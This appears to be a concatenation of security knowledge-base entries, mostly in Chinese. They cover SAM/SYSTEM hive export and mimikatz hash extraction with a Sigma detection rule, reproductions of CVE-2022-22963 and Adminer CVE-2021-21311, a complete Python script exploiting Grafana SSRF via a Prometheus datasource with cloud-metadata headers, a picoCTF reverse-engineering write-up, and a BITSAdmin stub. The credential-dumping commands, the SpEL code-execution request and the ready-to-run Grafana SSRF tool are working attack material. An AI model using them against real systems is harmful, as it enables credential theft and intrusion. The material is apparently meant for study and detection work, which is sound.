### 攻击方法:本地导出sam、system文件,离线进行hash提取(administrator)
```dos
C:\Users\me\Desktop>reg save hklm\sam sam.hiv
The operation completed successfully.
C:\Users\me\Desktop>reg save hklm\system system.hiv
The operation completed successfully.
mimikatz # lsadump::sam /sam:sam.hiv /system:system.hiv
RID : 000001f4 (500)
User : Administrator
Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0
RID : 000001f5 (501)
User : Guest
RID : 000003eb (1003)
User : test
Hash NTLM: a2345375a47a92754e2505132aca194b
RID : 000003ec (1004)
User : test2
Hash NTLM: f0873f3268072c7b1150b15670291137
```
## 测试留痕
暂无
## 检测规则/思路
### sigma规则
攻击方法:本地导出sam、system文件,离线进行hash提取(administrator)·
```yml
title: 本地导出sam、system文件,离线进行hash提取(administrator)
description: windows 7 模拟测试结果
references: https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump
tags: ATT&CK T1003-002
status: experimental
author: 12306Bro
logsource:
product: windows
service: sysmon
detection:
selection1:
EventID: 1
Image: 'C:\Windows\System32\reg.exe'
CommandLine: 'reg save hklm\sam *.hiv'
selection2:
EventID: 1
Image: 'Image: C:\Windows\System32\reg.exe'
CommandLine: 'reg save hklm\system *.hiv'
timeframe: last 2m
condition: all of them
level: high
```
### 建议
暂无
## 相关TIP
[[T1003-003-win-基于应用日志检测Ntdsutil获取凭证]]
[[T1003-003-win-基于NTDS凭证获取1]]
[[T1003-003-win-使用ntdsutil获得NTDS.dit文件]]
[[T1003-003-win-ntds凭证获取]]
[[T1003-003-win-vssown.vbs获取NTDS.dit]]
[[T1003-004-win-LSA-mimikatz凭证转储]]
[[T1003-005-win-DCC2-mimikatz凭证转储]]
[[T1003-006-win-DCsysnc-凭证转储]]
[[T1003-win-使用comsvcs.dll转储Lsass.exe内存]]
[[T1003-win-使用Windows任务管理器转储Lsass.exe内存]]
[[T1003-win-Procdump凭证转储]]
[[T1003-win-vaultcmd获取系统凭证基本信息]]
## 参考推荐
MITRE-ATT&CK-T1003-002
<https://attack.mitre.org/techniques/T1003/002>
pwdump7
<http://passwords.openwall.net/b/pwdump/pwdump7.zip>
powershell
<https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-PowerDump.ps1>
mimikatz wiki
<https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump>
关于更多通过SAM数据库获取本地用户hash你也可以参考
<https://www.4hou.com/technology/10878.html>
|
sec-knowleage
|
# 安全数据分析平台的架构
[TODO]
本篇整合安全领域内各种大数据分析平台的架构,主要包含以下的几个方向:
- 分析商业化产品的技术架构思路
- 整合公开的技术架构
## 通用型大数据平台的技术架构
<img src="https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200710162738.png" style="zoom:33%;" />
Fig. 通用的大数据平台技术架构[1]
## 综合性威胁分析平台

Fig. 详细版[1]

Fig. 设计思路[1]
## 基于日志的安全数据分析平台

图:日志处理架构[2]
## 参考资料
### AiLPHA大数据智能安全平台
https://www.dbappsecurity.com.cn/show-56-5-1.html
#### 功能简述
> AiLPHA以“AI驱动安全”为核心理念,
>
> 集成超大规模存查、大数据实时智能分析、用户行为(UEBA)分析、多维态势安全视图、企业安全联动闭环等安全模块。
>
> 具备全网流量处理、异构日志集成、核心数据安全分析、办公应用安全威胁挖掘等前沿大数据智能安全威胁挖掘分析与预警管控能力。
AI驱动安全,其实更适合说是数据驱动安全。该平台主要提供:大数据量安全信息的存储和查询,进行实时的分析,具有用户行为分析模块,多种可视化视图、相关资产信息查询的功能。
可以做:内网流量抓取与处理、异构日志集成、核心数据安全分析、办公应用安全威胁挖掘(例如邮件、OA系统本身等),最后两者可能使用用户行为分析模型进行统一。
#### 产品架构
> **数据采集:**实时采集全流量,安全设备日志,应用日志等,为下游实时计算提供源源不断的数据。
>
> **ETL:**提供强大的数据抽取、转换和加载能力,解析引擎支持超过300+厂商以及3000+种类日志。
>
> **数据分析与计算:**搭建高可用集群HA以HDFS Federation和YARN为核心,集成了各种计算组件,包括HBase、Kafka、flink等.
>
> **应用服务:**以个性化展示结果数据以及使用告警系统生成异常结果数据警报。
数据采集 —— ETL(Extract, Transform, Load) —— 数据分析与计算(注意分析、计算是不同的) —— 应用服务(个性化展示,权限管理)
#### 产品优势
> 1. 多源异构数据采集
>
> 采用多样的、异构的安全资产的数据采集,具备全流量7层协议深度解析技术、全网安全日志智能解析采集技术,实现可适配数据源的方式对各类安全设备、系统数据进行采集、清洗、标准化、存储,提供离线、实时、全文检索等多种数据订阅及分析等功能。
>
> 2. UEBA分析
>
> UEBA提供画像及基于各种分析方法的异常检测,通常是基本分析方法来评估用户和其他实体(主机,应用程序,网络,数据库等), 来发现与用户或实体标准画像或行为相异常的活动所相关的潜在事件。这些活动包括内部或第三方人员对系统的异常访问(用户异常),或者外部攻击者绕过防御性安全控制的入侵(异常用户)。通过对用户日常行为的聚类以及AiLPHA大数据分析平台安全域信息,将不同类别的使用者(User)区分出来。当这些用户实体有非职责内操作时,平台会将该用户标记较高异常评分(Anomaly Score)。
>
> 3. 威胁智能溯源
>
> 高级网络安全事件隐蔽而复杂,安全运维人员难以进行溯源分析,对安全事件的判断、安全决策的制定带来了巨大的困难。平台通过利用威胁情报、大数据安全分析、建立情报共享,协同分析、全生命周期跟踪安全事件的溯源流程,极大程度的方便运维人员进行安全威胁排除、攻击链分析、事件溯源等,提升企业的整体安全事件分析能力。
>
> 4. 模型智能编排
>
> AiLPHA计算分析系统可实现对模型的智能编排,支持用户自定义实现数据挖掘和集群学习基础算法。通过使用有向连接线标书模型数据的流程,实现多个元素的链接。模型编排完成,可实时输出模型的计算结果,并且可直接调用已有模型作为下一个模型的输入。模型编排修改模型时,在完成界面显示模型指标的增删改情况。支持使用Python、Java等语言开发数据分析程序。
第1,进行多源、异构的数据采集、清洗、标准化、存储(并且提供离线、实时、全文检索的功能,我们平台暂时不需要)
第2,用户行为分析,发现与用户或实体标准画像或行为相异常的活动所相关的潜在事件
第3,高级威胁溯源,方便运维人员进行安全威胁排除、攻击链分析、事件溯源
第4,对模型的智能编排,简单地说,就是包装好了机器学习算法,自定义实现数据挖掘和集群学习基础算法
### 天池云安全管理平台
https://www.dbappsecurity.com.cn/show-55-7-1.html
## References
\[1] 数据驱动安全方法论浅谈, jeary, https://xz.aliyun.com/t/3695
\[2] 海量日志采集、解析实践,邓小刚(奇安信网络安全部),在2020BCS上的分享
|
sec-knowleage
|
# Spring Cloud Function SpEL Code Injection (CVE-2022-22963)
[中文版本(Chinese version)](README.zh-cn.md)
Spring Cloud Function provides a common model for deploying function-based software on a variety of platforms, including FaaS (function as a service) platforms like Amazon AWS Lambda.
References:
- <https://tanzu.vmware.com/security/cve-2022-22963>
- <https://mp.weixin.qq.com/s/onYJWIESgLaWS64lCgsKdw>
- <https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f>
## Vulnerability Environment
Execute the following command to start a server that uses Spring Cloud Function 3.2.2:
```
docker compose up -d
```
After server is started, execute `curl http://your-ip:8080/uppercase -H "Content-Type: text/plain" --data-binary test` you can convert the user input to uppercase.
## Vulnerability Reproduce
There is a SpEL expression injection in the request header `spring.cloud.function.routing-expression`.
Send the following request to execute `touch /tmp/success` on the target server:
```
POST /functionRouter HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
Content-Type: text/plain
Content-Length: 4
test
```

As you can see, `touch /tmp/success` has been executed successfully.

|
sec-knowleage
|
#!/usr/bin/env python
#
# Grafana SSRF via promoethus
#
# Note: SSRF will not follow redirects!
#
# By @RandomRobbieBF
#
#
import requests
import json
import sys
import argparse
import re
import os.path
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
session = requests.Session()
parser = argparse.ArgumentParser()
parser.add_argument("-s", "--session", required=False ,default="9765ac114207245baf67dfd2a5e29f3a",help="Session Cookie Value")
parser.add_argument("-u", "--url", required=False, default="http://8t2s8yx5gh5nw0z9bd3atkoprgx6lv.burpcollaborator.net",help="URL of host to check will need http or https")
parser.add_argument("-H", "--host", default="http://kubernetes.docker.internal:5000",required=True, help="Host for Grafana")
parser.add_argument("-U", "--username", default="",required=False, help="Username for Grafana")
parser.add_argument("-P", "--password", default="",required=False, help="Password for Grafana")
parser.add_argument("-p", "--proxy", default="",required=False, help="Proxy for debugging")
args = parser.parse_args()
ssrf_url = args.url
sessionid = args.session
ghost = args.host
username = args.username
password = args.password
if args.proxy:
http_proxy = args.proxy
os.environ['HTTP_PROXY'] = http_proxy
os.environ['HTTPS_PROXY'] = http_proxy
def create_source(sessionid, ssrf_url,ghost):
rawBody = "{\"name\":\"SSRF-TESTING\",\"type\":\"prometheus\",\"access\":\"proxy\",\"isDefault\":false}"
headers = {"Origin":""+ghost+"","Accept":"application/json, text/plain, */*","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0","Referer":""+ghost+"/datasources/new","Connection":"close","x-grafana-org-id":"1","content-type":"application/json","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
cookies = {"grafana_session":""+sessionid+""}
response = session.post(""+ghost+"/api/datasources", data=rawBody, headers=headers, cookies=cookies,verify=False)
y = json.loads(response.text)
if "Data source with same name already exists" in response.text:
print("You will need to manually delete the current source that is named SSRF-TESTING")
sys.exit(0)
elif "id" in response.text:
print("Source Created")
return (y["id"])
else:
print ("Error:")
print("Status code: %i" % response.status_code)
print(response.text)
def refresh_source(ghost,sessionid,id):
headers = {"Accept":"application/json, text/plain, */*","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0","Referer":""+ghost+"/datasources/edit/6/","Connection":"close","x-grafana-org-id":"1","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
cookies = {"grafana_session":""+sessionid+""}
response = session.get(""+ghost+"/api/datasources/"+id+"", headers=headers, cookies=cookies,verify=False)
if response.status_code == 200:
print("Refreshed Sources")
else:
print("Error:")
print("Status code: %i" % response.status_code)
print(response.text)
delete_source(sessionid,id,ghost)
def create_ssrf(sessionid,ssrf_url,ghost,id):
rawBody = "{\"id\":"+id+",\"orgId\":1,\"name\":\"SSRF-TESTING\",\"type\":\"prometheus\",\"typeLogoUrl\":\"\",\"access\":\"proxy\",\"url\":\""+ssrf_url+"\",\"password\":\"test\",\"user\":\"test\",\"database\":\"test\",\"basicAuth\":false,\"basicAuthUser\":\"\",\"basicAuthPassword\":\"\",\"withCredentials\":false,\"isDefault\":false,\"jsonData\":{\"tlsSkipVerify\":true,\"httpHeaderName1\":\"Metadata-Flavor\",\"httpHeaderName2\":\"Metadata\",\"httpMethod\":\"GET\"},\"secureJsonData\":{\"httpHeaderValue1\":\"Google\",\"httpHeaderValue2\":\"true\"},\"version\":1,\"readOnly\":false}"
headers = {"Origin":""+ghost+"","Accept":"application/json, text/plain, */*","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0","Referer":""+ghost+"/datasources/edit/6/","Connection":"close","x-grafana-org-id":"1","content-type":"application/json","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
cookies = {"grafana_session":""+sessionid+""}
response = session.put(""+ghost+"/api/datasources/"+id+"", data=rawBody, headers=headers, cookies=cookies,verify=False)
if response.status_code == 200:
print("SSRF Source Updated")
else:
print("Error:")
print("Status code: %i" % response.status_code)
print(response.text)
delete_source(sessionid,id,ghost)
def check_ssrf(sessionid,id,ghost,ssrf_url):
headers = {"Accept":"application/json, text/plain, */*","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0","Referer":""+ghost+"/datasources/edit/"+id+"/","Connection":"close","x-grafana-org-id":"1","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate","x-grafana-nocache":"true"}
cookies = {"grafana_session":""+sessionid+""}
response = session.get(""+ghost+"/api/datasources/proxy/"+id+"/", headers=headers, cookies=cookies,verify=False)
if response.status_code != 502:
print("Status code: %i" % response.status_code)
print("Response body:\n %s" % response.text)
delete_source(sessionid,id,ghost)
else:
print("Error:")
print(response.text)
delete_source(sessionid,id,ghost)
def delete_source(sessionid,id,ghost):
headers = {"Origin":""+ghost+"","Accept":"application/json, text/plain, */*","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0","Referer":""+ghost+"/datasources/edit/3/","Connection":"close","x-grafana-org-id":"1","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
cookies = {"grafana_session":""+sessionid+""}
response = session.delete(""+ghost+"/api/datasources/"+id+"", headers=headers, cookies=cookies,verify=False)
if "Data source deleted" in response.text:
print("Deleted Old SSRF Source")
else:
print("Error:")
print(response.text)
sys.exit(0)
def login(ghost,username,password):
rawBody = "{\"user\":\""+username+"\",\"password\":\""+password+"\",\"email\":\"\"}"
headers = {"Origin":""+ghost+"","Accept":"application/json, text/plain, */*","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0","Referer":""+ghost+"/signup","Connection":"close","content-type":"application/json","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
cookies = {"redirect_to":"%2F"}
response = session.post(""+ghost+"/login", data=rawBody, headers=headers, cookies=cookies,verify=False)
if "grafana_session" in response.cookies:
return response.cookies["grafana_session"]
if "grafana_sess" in response.cookies:
return response.cookies["grafana_sess"]
else:
print("Login Session Cookie not set")
sys.exit(0)
if username:
sessionid = login(ghost,username,password)
if ssrf_url:
i = create_source(sessionid,ssrf_url,ghost)
id = str(i)
refresh_source(ghost,sessionid,id)
create_ssrf(sessionid,ssrf_url,ghost,id)
check_ssrf(sessionid,id,ghost,ssrf_url)
|
sec-knowleage
|
# Adminer ElasticSearch 和 ClickHouse 错误页面SSRF漏洞(CVE-2021-21311)
Adminer是一个PHP编写的开源数据库管理工具,支持MySQL、MariaDB、PostgreSQL、SQLite、MS SQL、Oracle、Elasticsearch、MongoDB等数据库。
在其4.0.0到4.7.9版本之间,连接 ElasticSearch 和 ClickHouse 数据库时存在一处服务端请求伪造漏洞(SSRF)。
参考连接:
- <https://github.com/vrana/adminer/security/advisories/GHSA-x5r2-hj5c-8jx6>
- <https://github.com/vrana/adminer/files/5957311/Adminer.SSRF.pdf>
- <https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-21311.yaml>
## 漏洞环境
执行如下命令启动一个安装了Adminer 4.7.8的PHP服务:
```
docker compose up -d
```
服务启动后,在`http://your-ip:8080`即可查看到Adminer的登录页面。
## 漏洞复现
在Adminer登录页面,选择ElasticSearch作为系统目标,并在server字段填写`example.com`,点击登录即可看到`example.com`返回的400错误页面展示在页面中:

|
sec-knowleage
|
# investigation_encoded_1
Forensics, 450 points
## Description:
> We have recovered a binary and 1 file: image01. See what you can make of it.
> NOTE: The flag is not in the normal picoCTF{XXX} format.
## Solution:
Let's check the files we got:
```console
root@kali:/media/sf_CTFs/pico/investigation_encoded_1# file mystery
mystery: ELF 64-bit LSB pie executable x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=29b4dba83a1a5a26d76e122ad48d63cff886b075, not stripped
root@kali:/media/sf_CTFs/pico/investigation_encoded_1# file output
output: Non-ISO extended-ASCII text, with no line terminators
root@kali:/media/sf_CTFs/pico/investigation_encoded_1# xxd -g 1 output
00000000: 8e 8e ba 3b b8 ea 23 a8 eb b8 bb 8a e3 a8 eb b8 ...;..#.........
00000010: eb a2 ee e2 a2 a8 ea 80 ........
root@kali:/media/sf_CTFs/pico/investigation_encoded_1# ./mystery
./flag.txt not found
```
We have a binary output file, and a program which requires `flag.txt`. Let's give it a fake flag and see what happens:
```console
root@kali:/media/sf_CTFs/pico/investigation_encoded_1# mkdir tmp
root@kali:/media/sf_CTFs/pico/investigation_encoded_1# cp ./mystery tmp
root@kali:/media/sf_CTFs/pico/investigation_encoded_1# cd tmp
root@kali:/media/sf_CTFs/pico/investigation_encoded_1/tmp# echo test>flag.txt
root@kali:/media/sf_CTFs/pico/investigation_encoded_1/tmp# ./mystery
Error, I don't know why I crashed
```
Neither do we. Let's take a look at the Ghidra decompiler output.
The main function is:
```c
undefined8 main(void)
{
long lVar1;
size_t sVar2;
undefined4 local_18;
int local_14;
FILE *flag_file;
flag_file = fopen("flag.txt","r");
if (flag_file == (FILE *)0x0) {
fwrite("./flag.txt not found\n",1,0x15,stderr);
// WARNING: Subroutine does not return
exit(1);
}
flag_size = 0;
fseek(flag_file,0,2);
lVar1 = ftell(flag_file);
flag_size = (int)lVar1;
fseek(flag_file,0,0);
if (0xfffe < flag_size) {
fwrite("Error, file bigger that 65535\n",1,0x1e,stderr);
// WARNING: Subroutine does not return
exit(1);
}
flag = malloc((long)flag_size);
sVar2 = fread(flag,1,(long)flag_size,flag_file);
local_14 = (int)sVar2;
if (local_14 < 1) {
// WARNING: Subroutine does not return
exit(0);
}
local_18 = 0;
flag_index = &local_18;
output = fopen("output","w");
buffChar = 0;
remain = 7;
fclose(flag_file);
encode();
fclose(output);
fwrite("I\'m Done, check ./output\n",1,0x19,stderr);
return 0;
}
```
It reads the flag, sets some global (`flag_index`, `output`, `buffChar`, `remain`) and calls `encode()`:
```c
void encode(void)
{
byte current_char;
int end;
undefined8 is_valid;
ulong uVar1;
int current_index;
char current_lower;
while( true ) {
if (flag_size <= *flag_index) {
while (remain != 7) {
save(0);
}
return;
}
current_char = *(byte *)(*flag_index + flag);
is_valid = isValid(current_char);
if ((char)is_valid != '\x01') break;
uVar1 = lower(current_char);
current_lower = (char)uVar1;
if (current_lower == ' ') {
current_lower = '{';
}
current_index = *(int *)(matrix + (long)((int)current_lower + -'a') * 8 + 4);
end = current_index + *(int *)(matrix + (long)((int)current_lower + -'a') * 8);
while (current_index < end) {
uVar1 = getValue(current_index);
save((byte)uVar1);
current_index = current_index + 1;
}
*flag_index = *flag_index + 1;
}
fwrite("Error, I don\'t know why I crashed\n",1,0x22,stderr);
// WARNING: Subroutine does not return
exit(1);
}
```
`encode` iterates the flag character by character, and (assuming it's valid) converts it to lowercase, and then reads two DWORDs from `matrix`. The first value looks like a staring index, and the second value looks like a length. Then, for `length` iterations, it reads a value from `getValue()` and calls `save()`.
After all the characters in the flag were processed, the function calls `save(0)` for a number of times and returns.
Let's dive in, starting with `isValid`:
```c
undefined8 isValid(char param_1)
{
undefined8 uVar1;
if ((param_1 < 'a') || ('z' < param_1)) {
if ((param_1 < 'A') || ('Z' < param_1)) {
if (param_1 == ' ') {
uVar1 = 1;
}
else {
uVar1 = 0;
}
}
else {
uVar1 = 1;
}
}
else {
uVar1 = 1;
}
return uVar1;
}
```
We can see that valid characters are uppercase and lowercase letters, and space. So now we know why our experiment didn't work before: We entered a newline which was rejected. We can repeat our experiment, omitting the newline:
```console
root@kali:/media/sf_CTFs/pico/investigation_encoded_1/tmp# echo -n test>flag.txt
root@kali:/media/sf_CTFs/pico/investigation_encoded_1/tmp# ./mystery
I'm Done, check ./output
root@kali:/media/sf_CTFs/pico/investigation_encoded_1/tmp# xxd -g 1 output
00000000: e2 2a 38 .*8
```
This doesn't look like a simple substitution cipher: The output is shorter than the input, and there is no obvious repetition of the `t`. We continue with the decompiler:
```c
ulong getValue(int param_1)
{
byte bVar1;
int iVar2;
iVar2 = param_1;
if (param_1 < 0) {
iVar2 = param_1 + 7;
}
bVar1 = (byte)(param_1 >> 0x37);
return (ulong)((int)(uint)(byte)secret[iVar2 >> 3] >>
(7 - (((char)param_1 + (bVar1 >> 5) & 7) - (bVar1 >> 5)) & 0x1f) & 1);
}
```
This function performs some bit-manipulation on the input (which is `current_index`) using a `secret` global variable and returns a `0` or `1` (notice the `& 1` at the end of the return statement).
The value returned by this function is then passed on to `save`:
```c
void save(byte param_1)
{
buffChar = buffChar | param_1;
if (remain == 0) {
remain = 7;
fputc((int)(char)buffChar,output);
buffChar = '\0';
}
else {
buffChar = buffChar * '\x02';
remain = remain + -1;
}
return;
}
```
This function looks like it buffers the input bits in the `buffChar` global, and writes them to the output file once there are enough bits to form a byte. Now we understand the following code in `encode`:
```c
if (flag_size <= *flag_index) {
while (remain != 7) {
save(0);
}
return;
}
```
When the end of the flag is reached, this code is responsible to pad the output with zeroes and make sure that the output is actually flushed to the output file.
To complete the picture, let's inspect `matrix` and `secret` (this time using radare2 since it allowes dumping `C` arrays):
```
[0x000007c0]> bf obj.secret
[0x000007c0]> pc @ obj.secret
#define _BUFFER_SIZE 37
const uint8_t buffer[_BUFFER_SIZE] = {
0xb8, 0xea, 0x8e, 0xba, 0x3a, 0x88, 0xae, 0x8e, 0xe8, 0xaa,
0x28, 0xbb, 0xb8, 0xeb, 0x8b, 0xa8, 0xee, 0x3a, 0x3b, 0xb8,
0xbb, 0xa3, 0xba, 0xe2, 0xe8, 0xa8, 0xe2, 0xb8, 0xab, 0x8b,
0xb8, 0xea, 0xe3, 0xae, 0xe3, 0xba, 0x80
};
[0x000007c0]> bf obj.matrix
[0x000007c0]> pcw @ obj.matrix
#define _BUFFER_SIZE 54
const uint32_t buffer[_BUFFER_SIZE] = {
0x00000008U, 0x00000000U, 0x0000000cU, 0x00000008U, 0x0000000eU,
0x00000014U, 0x0000000aU, 0x00000022U, 0x00000004U, 0x0000002cU,
0x0000000cU, 0x00000030U, 0x0000000cU, 0x0000003cU, 0x0000000aU,
0x00000048U, 0x00000006U, 0x00000052U, 0x00000010U, 0x00000058U,
0x0000000cU, 0x00000068U, 0x0000000cU, 0x00000074U, 0x0000000aU,
0x00000080U, 0x00000008U, 0x0000008aU, 0x0000000eU, 0x00000092U,
0x0000000eU, 0x000000a0U, 0x00000010U, 0x000000aeU, 0x0000000aU,
0x000000beU, 0x00000008U, 0x000000c8U, 0x00000006U, 0x000000d0U,
0x0000000aU, 0x000000d6U, 0x0000000cU, 0x000000e0U, 0x0000000cU,
0x000000ecU, 0x0000000eU, 0x000000f8U, 0x00000010U, 0x00000106U,
0x0000000eU, 0x00000116U, 0x00000004U, 0x00000124U
};
```
We'll run with an example of encoding `b` to understand the algorithm:
```c
current_char = *(byte *)(*flag_index + flag); // Let's assume it's 'b'
is_valid = isValid(current_char); // It's valid
if ((char)is_valid != '\x01') break;
uVar1 = lower(current_char); // Returns 'b'
current_lower = (char)uVar1; // Assigns 'b'
if (current_lower == ' ') { // Skipped
current_lower = '{';
}
current_index = *(int *)(matrix + (long)((int)current_lower + -'a') * 8 + 4);
// current_lower + -'a' = 'b' - 'a' = 1
// 1 * 8 + 4 = 12
// current_index = matrix[12] = 0x00000008 (treating matrix as an int array, although it's really a char array with casts)
end = current_index + *(int *)(matrix + (long)((int)current_lower + -'a') * 8);
// end = current_index + matrix[8] = current_index + 0x0000000c = 0x00000008 + 0x0000000c = 20
while (current_index < end) { // Now we'll run from 8 to 19 and call getValue(), encoding 12 bits
uVar1 = getValue(current_index);
save((byte)uVar1);
current_index = current_index + 1;
}
```
As we can see, `matrix` is composed of 27 pairs of DWORDs - one for each lowercase letter in the ABC + space. The first DWORD in each pair is actually the amount of bits the character will be encoded into (and the second is an offset into `secret` used for the encoding). From a quick look at `matrix`, we can see that each letter is encoded to a bitstream of a different length, explaining why the output we saw was shorter than the input.
Now we can copy the needed logic from the decompilation and create a `C` program which will act as a dictionary:
```c
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
// Definitions from Ghidra
typedef unsigned char byte;
typedef unsigned int uint;
typedef unsigned long ulong;
// r2: pc 216 @ obj.matrix
const uint8_t matrix[] = {
0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00,
0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x00,
0x14, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x22, 0x00,
0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x00, 0x00,
0x0c, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x0c, 0x00,
0x00, 0x00, 0x3c, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00,
0x48, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x52, 0x00,
0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00,
0x0c, 0x00, 0x00, 0x00, 0x68, 0x00, 0x00, 0x00, 0x0c, 0x00,
0x00, 0x00, 0x74, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00,
0x80, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x8a, 0x00,
0x00, 0x00, 0x0e, 0x00, 0x00, 0x00, 0x92, 0x00, 0x00, 0x00,
0x0e, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00, 0x00, 0x10, 0x00,
0x00, 0x00, 0xae, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00,
0xbe, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0xc8, 0x00,
0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0xd0, 0x00, 0x00, 0x00,
0x0a, 0x00, 0x00, 0x00, 0xd6, 0x00, 0x00, 0x00, 0x0c, 0x00,
0x00, 0x00, 0xe0, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00,
0xec, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x00, 0xf8, 0x00,
0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x06, 0x01, 0x00, 0x00,
0x0e, 0x00, 0x00, 0x00, 0x16, 0x01, 0x00, 0x00, 0x04, 0x00,
0x00, 0x00, 0x24, 0x01, 0x00, 0x00
};
// r2: pc 37 @ obj.secret
const uint8_t secret[] = {
0xb8, 0xea, 0x8e, 0xba, 0x3a, 0x88, 0xae, 0x8e, 0xe8, 0xaa,
0x28, 0xbb, 0xb8, 0xeb, 0x8b, 0xa8, 0xee, 0x3a, 0x3b, 0xb8,
0xbb, 0xa3, 0xba, 0xe2, 0xe8, 0xa8, 0xe2, 0xb8, 0xab, 0x8b,
0xb8, 0xea, 0xe3, 0xae, 0xe3, 0xba, 0x80
};
ulong getValue(int param_1)
{
byte bVar1;
int iVar2;
iVar2 = param_1;
if (param_1 < 0) {
iVar2 = param_1 + 7;
}
bVar1 = (byte)(param_1 >> 0x37);
return (ulong)((int)(uint)(byte)secret[iVar2 >> 3] >>
(7 - (((char)param_1 + (bVar1 >> 5) & 7) - (bVar1 >> 5)) & 0x1f) & 1);
}
void encode(char c)
{
int end;
ulong uVar1;
int current_index;
printf("%c: ", c);
if (c == ' ')
{
c = '{';
}
current_index = *(int *)(matrix + (long)((int)c + -'a') * 8 + 4);
end = current_index + *(int *)(matrix + (long)((int)c + -'a') * 8);
while (current_index < end) {
uVar1 = getValue(current_index);
printf("%d", uVar1);
current_index = current_index + 1;
}
printf("\n");
}
int main(int argc, char* argv[])
{
char c;
for (c = 'a'; c <= 'z'; c++)
{
encode(c);
}
encode(' ');
return 0;
}
```
Let's run it:
```console
root@kali:/media/sf_CTFs/pico/investigation_encoded_1# gcc dict.c -o dict && ./dict
dict.c: In function ‘getValue’:
dict.c:55:26: warning: right shift count >= width of type [-Wshift-count-overflow]
bVar1 = (byte)(param_1 >> 0x37);
^~
a: 10111000
b: 111010101000
c: 11101011101000
d: 1110101000
e: 1000
f: 101011101000
g: 111011101000
h: 1010101000
i: 101000
j: 1011101110111000
k: 111010111000
l: 101110101000
m: 1110111000
n: 11101000
o: 11101110111000
p: 10111011101000
q: 1110111010111000
r: 1011101000
s: 10101000
t: 111000
u: 1010111000
v: 101010111000
w: 101110111000
x: 11101010111000
y: 1110101110111000
z: 11101110101000
: 0000
```
The remaining effort is reduced to a standard task of decoding a [Prefix Code](https://en.wikipedia.org/wiki/Prefix_code), for example via the following script:
```python
from pwn import *
p = process("./dict")
dict_output = p.recvall().rstrip()
encoding_dict = {}
for line in dict_output.split("\n"):
line = line.rstrip()
char, encoding = line.split(": ")
encoding_dict[encoding] = char
with open("output", "rb") as f:
data = f.read()
bin_data = bits_str(data)
log.info("Binary data:\n{}".format(bin_data))
res = ""
while bin_data:
for k in encoding_dict:
if bin_data.startswith(k):
res += encoding_dict[k]
bin_data = bin_data[len(k):]
log.success("Output: {}".format(res))
```
Output:
```console
root@kali:/media/sf_CTFs/pico/investigation_encoded_1# python decode.py
[+] Starting local process './dict': pid 4540
[+] Receiving all data: Done (404B)
[*] Process './dict' stopped with exit code 0 (pid 4540)
[*] Binary data:
100011101000111010111010001110111011100011101010001000111010100011101011101110001011101110001010111000111010100011101011101110001110101110100010111011101110001010100010101010001110101010000000
[+] Output: encodedywudycjshb
```
The flag: `picoCTF{encodedywudycjshb}`.
|
sec-knowleage
|
**微软官方做出如下解释:**
> BITSAdmin是一个命令行工具,可用于创建下载或上传并监视其进度。
**具体相关参数参见官方文档:**
https://docs.microsoft.com/zh-cn/windows/desktop/Bits/bitsadmin-tool
